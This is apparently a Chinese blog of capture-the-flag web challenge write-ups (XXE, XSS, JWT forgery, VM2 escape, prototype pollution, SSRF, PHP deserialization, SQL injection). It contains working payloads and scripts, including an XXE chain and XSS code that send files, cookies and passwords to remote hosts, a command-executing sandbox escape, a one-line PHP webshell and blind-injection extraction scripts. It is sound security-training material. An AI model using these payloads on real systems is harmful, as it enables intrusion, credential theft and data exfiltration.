2021年5月

[网鼎杯 2020 青龙组]filejava

上传文件时抓一下包,发现文件包含漏洞,而且泄露了tomcat的绝对路径。
那接下来就应该查看web.xml了

usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

通过配置文件下载class文件

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

下载下来的文件用jd-gui-1.6.6.jar反编译一下
DownloadServlet中限制了直接下载flag,但是UploadServlet.java有对excel-***.xlsx文件的判断,那可能就是这个漏洞了。
然后就新建xlsx,用zip打开并修改内容,再上传

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP/file.dtd">
%remote;%int;%send;
]>

关于三个变量的问题,引用自BTIS师傅

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 BTIS.dtd ,有点类似于将 BTIS.dtd 包含进来,然后 %int 调用 BTIS.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

而在我们的vps也需要有file.dtd

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://0.0.0.0:7777?popko=%file;'>">

在我们的vps监听就好了。
这里补充一点javaweb的基础知识

(1)Java Resources
    src:用来存放Java源文件。
    Libraries:存放的是Tomcat及JRE中的jar包。

(2)build:自动编译.java文件的目录。

(3)WebContent(WebRoot):是这个Web应用的顶层目录,也称为文档根目录,由一下部分组成。

    META-INF:系统自动生成,存放系统描述信息。

    静态文件:包括所有的HTML网页、CSS文件、图像文件等。一般按功能已文件夹形式分类,例如,图像文件集中存储在images目录中。

    JSP文件:利用JSP可以很方便地在页面中生成动态的内容,使Web应用可以输出动态页面。

    WEB-INF:该目录存在于文档根目录下。但是,该目录不能被引用,也就是说,该目录下存放的文件无法对外发布,当然就无法被用户访问到了。WEB-INF目录由以下几部分组成。

    classes:存放Java字节码文件的目录。

    lib:用于存放该工程用到的库。它包含Web应用所需要的.jar或者.zip文件,例如:mysql-connector-java-8.0.14.jar(MySQL数据库的驱动程序)

    web.xml:应用程序的部署描述符,web工程的配置文件,完成用户请求的逻辑名称到真正的servlet类的映射。Web应用的初始化配置文件,非常重要,不要将其删除或者随意修改。

凡是客户端能访问的资源(html或.jpg)必须跟WEB-INF在同一目录,即放在Web根目录下的资源,从客户端是可以通过URL地址直接访问的。

[CISCN2019 华东北赛区]Web2

题目要求用管理员登录,又有评论页面,还能强制让管理员阅读,这不是xss还能是什么。
直接提交存在过滤,可以用Markup绕过
在xss平台中生成payload,经编码后传入,(脚本来自末初)。

xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=arHAGx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
    output += "&#" + str(ord(c))

print("<svg><script>eval("" + output + "")</script>")

又是生成特定md5,

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func('b76301')

进入后发现存在联合注入,没过滤直接打就行了。

[GWCTF 2019]mypassword

发现login.js,会直接把username和password放在表单里直接提交,那xss就完了。
在feedback中发现提交框,注释中标明了black_list,但只是替换为空那就相当于没有了。
这里用这个网站收集信息。

payload:
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1e8jfct1/?a="+psw;
</scrcookieipt>

P### [HFCTF2020]EasyLogin

先从app.js中找到提示,利用任意文件读取漏洞读取controllers目录中的文件

controllers目录是项目控制器存放目录:接受请求,处理逻辑

发现是jwt伪造,这里把加密方式置为空,payload:

{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "a","iat": 1587632063}.
username=admin&password=a&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiYSIsImlhdCI6IDE1ODc2MzIwNjN9.

登录后访问一下flag页面即可。

[HFCTF2020]JustEscape

VM2沙箱逃逸,用现成的POC,
关键字被过滤,可以采用字符串拼接,
引号被过滤,可以用反引号拼。

模板字符串使用反引号 (` `) 来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression})的占位符。

payload:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

原理二刷失败,静等找机会三刷(我是fw)
链接在此

[GYCTF2020]Ez_Express

下载源码,有merge和clone函数,经典原型链污染。
先放上p师傅的文章:
深入理解 JavaScript Prototype 污染攻击
Fuzz中的javascript大小写特性
首先要用admin登录,利用toUpperCase函数的特性,

两个奇特的字符"ı"、"ſ"的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。

注册username为admın(不是admin),经处理后能以admin登录。
clone操作将body转化为一个对象,可以利用原型链污染res.outputFunctionName,配合ssti执行任意命令。

payload:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

[HITCON 2017]SSRFme

perl脚本GET open命令漏洞

GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
open存在命令执行,并且还支持file函数

最后命令行中执行的结果会被存在data中,
尝试读取根目录,并把结果写在文件abc中,payload:

?url=/&filename=abc

根据ip拼接md5,发现要执行readflag,

?url=file:bash -c /readflag|&filename=123

bestphp\'s revenge

经典PHP的session反序列化SoapClient原生类衔接SSRF和CRLF,还有一个变量覆盖漏洞的利用,细说一下。
+ #### call_user_func的变量覆盖漏洞
这个题过滤了危险函数,所以不能直接利用,但是注意到:

如果传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。
  • #### session反序列化
    漏洞成因是php不同的session处理器因解析格式不同造成的漏洞。
<?php
session_start();
$_SESSION['name'] = 'moon_flower';
?>
当 session.serialize_handler=php 时,session文件内容为: name|s:11:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:11:"mochazz";}

由于默认的php是以"|"作为键值的分割符,那个如果我们在php_serialize下恶意构造特定的键值对,再利用php处理器进行解析,那么就会。。。

$_SESSION['name'] ='|username' => a:1:{s:4:"name";s:4:""|username";}

然后经过php_serialize处理后就会被解析为:

$_SESSION['a:1:{s:4:"name";s:4:"'] = 'username';

所以我们只要传入

$_SESSION['name'] = '想反序列化的内容'
  • ##### SSRF+CRLF
    关于SOAP内置类的详细操作可以看这儿
    SoapClient类可以发送http请求,如果发向本地就形成了SSRF,
    但是SOAPClient中不含cookie的操作,而http请求格式是我们可以进行操作的,所以这里又用到了CRLF漏洞
    payload:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
//注:PHPSESSID由自己设置。
  • ##### 开始操作:

    • 第一次传参


      _GET:  name="payload生成的序列化字符串"&f=session_start
      _POST: serialize_handler=php_serialize
      



      更换了session处理器,并将name中的信息存在session中
    • 第二次传参


      _GET:  f=extrace
      _POST: call_user_func 
      



      session中的内容(就是SOAPClient对象)和\'welcome_to_the_lctf2018\'会被合并在一个数组中,
      变量覆盖后我们执行的语句实际上是

      call_user_func(call_user_func,array($_session,'welcome_to_the_lctf2018'));
      



      第二个call_user_func的第一个参数是SoapClient类,按照定义,它会去调用welcome_to_the_lctf2018这个不存在的方法,从而调用__call方法,携带我们自己定义的cookie去访问flag.php并将其内容存在对应的session中。
      最后用我们自己的session访问一下即可。

[FireshellCTF2020]URL TO PDF

WeasyPrint进行url to pdf过程中产生的问题
这个爬虫不会解析js但是能解析link

<link rel=”attachment” href=”file:///flag”>

下载这个就能实现ssrf
然后用pdfdetach处理一下即可:

$ pdfdetach -list flag.pdf
1 embedded files
1: flag
$ pdfdetach -save 1 flag.pdf
$ cat flag

[FireshellCTF2020]ScreenShooter

和上一题类似,但这次是用了PhantomJS的漏洞。
通过XMLHttpRequest触发,其中的open方法可以读取目标系统上的任意文件。

payload:
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <script type="text/javascript">
        var moon;
        moon = new XMLHttpRequest;
        moon.onload = function(){
            document.write(this.responseText)
        };
        moon.open("GET","file:///flag");
        moon.send();
    </script>
</body>
</html>

[SWPU2019]Web6

首先是登录界面,随便输提示sql语句,可见是username和passwd分开验证的,这里如果passwd为空,那就要想办法构造一个NULL,这里用到了with rollup语法。

with rollup 能对查询的数据进行汇总(不是求和),而查询过程中新产生的表的最后一列中的键是NULL。
paload1:
username=1' or '1'='1' group by passwd with rollup having passwd is NULL#&passwd=

登录后(据说有提示但我没找到),通过method=File_read和post提交filename可以查看任意文件。
查看se.php,encode.php,index.php,hint.txt,但Service.php无法访问,
观察到请求包里有user,可能是通过encode加密的,可以先用keyaaaaaaaasdfsaf.txt和对应的内容把key给解密出来,然后再用这个key去加密admin传入。然鹅。。。并没有什么卵用,那就只能ssrf打了。
首先构造pop链:

bb::__destruct -> aa::__call -> cc::__invoke -> ee::__toString -> dd::getflag

注意这里的aa类中,因为要通过调用函数的方法调用cc中的__invoke,所以要进到if里面,并要让mod2指向mod1,mod1指向cc。
然后再用SoapClient结合session反序列化进行ssrf获得一个能访问本地的PHPSESSID。
上传文件脚本:

<html>
<body>
    <form action="http://30f3a4b2-55fd-462b-94e1-be7d99acf202.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>
</html>
payload2:
|O:10:"SoapClient":5:{s:3:"uri";s:4:"aabb";s:8:"location";s:30:"http://127.0.0.1/interface.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:109:"wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: user=xZmdm9NxaQ==";s:13:"_soap_version";i:1;}

注意这是的PHPSESSID是我们指定的。、

payload3:
aa=O%3A2%3A%22bb%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22aa%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22cc%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22ee%22%3A2%3A%7Bs%3A4%3A%22str1%22%3BO%3A2%3A%22dd%22%3A3%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A4%3A%22flag%22%3Bs%3A8%3A%22get_flag%22%3Bs%3A1%3A%22b%22%3Bs%3A14%3A%22call_user_func%22%3B%7Ds%3A4%3A%22str2%22%3Bs%3A7%3A%22getflag%22%3B%7Ds%3A4%3A%22mod2%22%3BN%3Bs%3A4%3A%22mod3%22%3Bs%3A1%3A%221%22%3B%7Ds%3A4%3A%22mod2%22%3Ba%3A1%3A%7Bs%3A5%3A%22test2%22%3BR%3A3%3B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D

完整的代码:

<?php
function de_crypt($swpu, $key) {
    $swpu = base64_decode($swpu);
    $key    =    md5($key);
    $h      =    0;
    $length    =    strlen($swpu);
    $swpuctf      =    strlen($key);
    $varch   =    '';
    for ($j = 0; $j < $length; $j++)
    {
        if ($h == $swpuctf)
        {
            $h = 0;
        }
        $varch .= $key{$h};        
        $h++;
    }
    $content = '';
    for ($i = 0; $i < $length; $i++)
    {
        $content .= chr(ord($swpu{$i}) - (ord($varch{$i})+256)%256);
        #$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
    }
    return $content;
}

class aa
{
        public $mod1;
        public $mod2;
}
class bb
{
        public $mod1;
        public $mod2;
} 
class cc
{
        public $mod1;
        public $mod2;
        public $mod3;
}
class dd
{
        public $name;
        public $flag;
        public $b;
}
class ee
{
        public $str1;
        public $str2;
}

// $target = 'http://127.0.0.1/interface.php';
// $headers = array(
//     'X-Forwarded-For: 127.0.0.1',
//     'Cookie: user=xZmdm9NxaQ==',
// );

// $b = new SoapClient(null, array('location' => $target, 'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'=>'aabb'));
// $a = serialize($b);
// $a = str_replace('^^', "\r\n", $a);
// echo $a;

#pop: bb::__destruct -> aa::__call -> cc::__invoke -> ee::__toString -> dd::getflag

$d = new dd();
$e = new ee();
$e->str1 = $d;
$e->str2 = "getflag";
$c = new cc();
$c->mod1 = $e;
$c->mod3 = '1';
$a = new aa();
$a->mod1 = $c;
$a->mod2 = array('test2'=>&$a->mod1);
$b = new bb();
$b->mod1 = $a;

$e->str1->b = 'call_user_func';
$e->str1->flag = 'get_flag';
echo urlencode(serialize($b));

[SWPU2019]Web1

二次注入,注入点id藏得挺好。
过滤了空格,可以用/**/绕过,过滤了注释符可以直接闭合。
过滤了or,查表和列时可以用mysql.innodb_table_stats代替information_schema
payload:

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

然后进行无列名注入:

select b from (select 1,2,3 as b,4,5 union select * from users)a;

末尾的 a 可以是任意字符,用于命名。
最后的payload:

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[CISCN2019 总决赛 Day2 Web1]Easyweb

扫一下找到源码,尝试绕过。
传入\\0,第一个\会被识别为转义符,会转义变成\\0,再被addslashes处理成为\0,最后被替换为空变成\ 转义了后面的id后面的(\')
payload:

?id=\\0&path=or if(length(database())>1,1,-1)%23

上脚本

import time
import requests
import sys
import string
import logging

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target="url/image.php?id=\\0'&path=or "
#库名
#dataStr="(database())"
#表名
#dataStr="(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())"
#列名
dataStr="(select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273)"
#数据
#dataStr="(select(group_concat(username,password))from(users))"
def binaryTest(i,cu,comparer):
    payloads='ascii(substr({},{},1)){comparer}{}%23'
    s=requests.get(target+payloads.format(dataStr,i,cu,comparer=comparer))
    if 'JFIF' in s.text:
        return True
    else:
        return False

def searchFriends_sqli(i):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binaryTest(i, cu, "<")):
            r = cu - 1
        elif (binaryTest(i, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)

def main():
    print("start")
    finres=""
    i=1
    while (True):
        extracted_char = searchFriends_sqli(i)
        if (extracted_char == None):
            break
        finres += extracted_char
        i += 1
        print("(+) 当前结果:"+finres)
    print("(+) 运行完成,结果为:", finres)

if __name__=="__main__":
    main()

单引号被ban的时候查表名列名用十六进制绕过。
登进去后要传马,php被ban,这里用phtml,
发现文件名出现在log中,可以直接把马写在文件名里:

filename=<?= @eval($_POST[hack]);?>

蚁剑连一下就ok了。

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

先用伪协议读一下源码。
发现address没有经过正则过滤只是处理了单引号,
但可以直接查看,这就形成了二次注入。
可以直接用报错注入带出来flag:

' and updatexml(1,concat(1,(select substr(load_file('/flag.txt'),1,32)),1),1)#

substr分段截取即可。

[网鼎杯 2018]Comment

密码隐藏后三位,可以直接爆破。
存在/.git,但是有残缺需要恢复(这种事不应该扔给misc来搞吗)
先查一下之前的版本:

git log --all

然后

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

把指针指到最初提交的版本,
得到源码。
审计发现存入category数据库时有addslashes()处理,但是直接拿出来的,这就造成了二次注入的可能。
payload:

a',content=(select (load_file('/etc/passwd'))),/*
a',content=(select (load_file('/home/www/.bash_history'))),/*
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

[RCTF2015]EasySQL

有修改密码功能,把username取出来的时候存在二次注入,因为有报错的回显,这里采用报错注入。
payload:

a"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

输出有长度限制,可以先用正则匹配一下我们想看的字段

a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

长度还是不够,就用resever逆序输出一下

a"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#

最后拼接即可。

[GYCTF2020]Ezsqli

or被过滤,这里用的sys.schema_table_statistics_with_buffer库来绕过。
参考链接
join被过滤,这里用一种新的无列名注入方式

(select 'admin','admin')>(select * from users limit 1)

其原理是MySQL在比较两个select字符串时是按位比的,所以这里用两个select语句进行比较
用Y1ng师傅的payload:

'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文链接: https://www.gem-love.com/ctf/1669.html
'''
import requests
url = 'http://fd871d2e-cc2a-4f0b-878d-385ed4d11981.node3.buuoj.cn/'

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag+ chr(char))
        payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

[NCTF2019]SQLi

给了SQL语句,单引号被过滤,用\转义第一个单引号,最后的用%00截断。
or也被过滤,知道的列名可以直接用regexp逐字符匹配。
payload:

username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

最后的脚本(来自Arnoldqqq):

import string
import requests
from urllib import parse
passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://15f12b34-dce6-486a-8fce-2bb86508c417.node3.buuoj.cn/index.php'
for n in range(100):
    for m in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
        }
        res = requests.post(url,data=data)
        if 'welcome' in res.text:
            passwd += m
            print(m)
            break
    if m=='_' and 'welcome' not in res.text:
        break
print(passwd)

[网鼎杯2018]Unfinish

不知道为什么网上都用的double hex绕过,直接ascii不行吗。。。
记录一下:

'0' + hex(database()) + '0' 会因为16进制强制转化为字符型产生截断
'0' + hex(hex(database())) + '0 ' 确保hex后都是数字,但是字符串长度过长变成科学计数法导致数据丢失
'0' + substr(hex(hex(database())),1,10) + '0' 每次用substr截取10个字符进行相加
'0' + substr(hex(hex(database())) from 1 for 10) + '0' 过滤了逗号用from for绕过

需要爬虫爬一下回显的16进制数字然后恢复,payload来自于zhengna师傅

import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getDatabase())
print(getFlag())

[SWPU2019]Web4

开局登录框,没有源码,大概是要注入了。
注入单引号返回500,但加分号能返回200,可能存在堆叠注入。
关于PDO的预编译:

PDO分为模拟预处理和非模拟预处理。
模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。

非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。

如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

在模拟预处理情况下可能存在堆叠注入和报错注入,
在非模拟预处理情况下可能存在报错注入。参考文献
题目过滤了select,可以用预编译绕过,思路有两种:

1.参考强网杯的随便注,使用CONCAT实现字符串拼接。
2.本题直接用十六进制绕过了(十六进制yyds)。
payload:
#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

爆出来源码的文件名glzjin_wants_a_girl_friend.zip
打开之后是一个MVC,在BaseController中发现变量覆盖漏洞。

    public function loadView($viewName ='', $viewData = [])
    {
        $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
        if(file_exists($this->viewPath))
        {
            extract($viewData);
            include $this->viewPath;
        }
    }

又找到一个viewData可控的位置

/Controller/UserController.php
public function actionIndex()
{
    $listData = $_REQUEST;
    $this->loadView('userIndex',$listData);
}

UserController对应控制的是user中的文件,在/View/userIndex.php中发现文件读取。

payload:
index.php?r=User/Index&img_file=/…/flag.php